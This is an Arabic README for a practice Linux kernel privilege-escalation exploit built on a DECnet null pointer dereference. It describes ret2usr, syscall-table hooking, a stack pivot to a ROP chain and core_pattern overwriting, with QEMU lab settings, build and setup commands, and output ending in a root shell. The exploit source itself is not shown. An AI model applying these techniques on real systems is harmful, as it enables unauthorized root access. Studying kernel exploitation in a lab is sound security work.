
ممارسة LPE في نواة لينكس باستخدام ثغرة NPD
ممارسة تقنيات استغلال نواة لينكس المختلفة باستخدام ثغرة DECnet الخاصة بي مع تمكين تعيين الصفحة الفارغة.
كل شيء معطل: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
يتم توجيه تنفيذ الشيفرة إلى دالة output في مساحة المستخدم، والتي تستدعي commit_creds(prepare_kernel_cred(0)).
ربط استدعاء النظام (Syscall Hooking)
استبدال عنوان معالج استدعاء النظام mkdir داخل sys_call_table بدالة تشبه تلك الموجودة في السيناريو 1.
تمكين SMEP و KPTI: qemu-system-x86_64 -append "nosmap nokaslr"
يتم توجيه تنفيذ الشيفرة إلى تحويل المكدس (stack pivot) الذي يحدد $rsp إلى سلسلة ROP في الصفحة الفارغة.
المساعد في وضع المستخدم (Usermode Helper)
يتم استبدال sysctl core_pattern لتحديد أمر يُنفذ بامتيازات مرتفعة عند إلقاء صورة النواة (core dump).
ثم يتم مقاطعة البرنامج بإشارة SIGABRT لتشغيل السكريبت في وضع المستخدم.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
قم بتكوين DECnet كـ root:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
شغّل الاستغلال كمستخدم غير مميز:
$ ./lpe
[*] تم حفظ الحالة
[*] يتم تشغيل NPD
[*] تم العودة إلى مساحة المستخدم
[*] UID: 0، حصلت على صلاحيات root!
#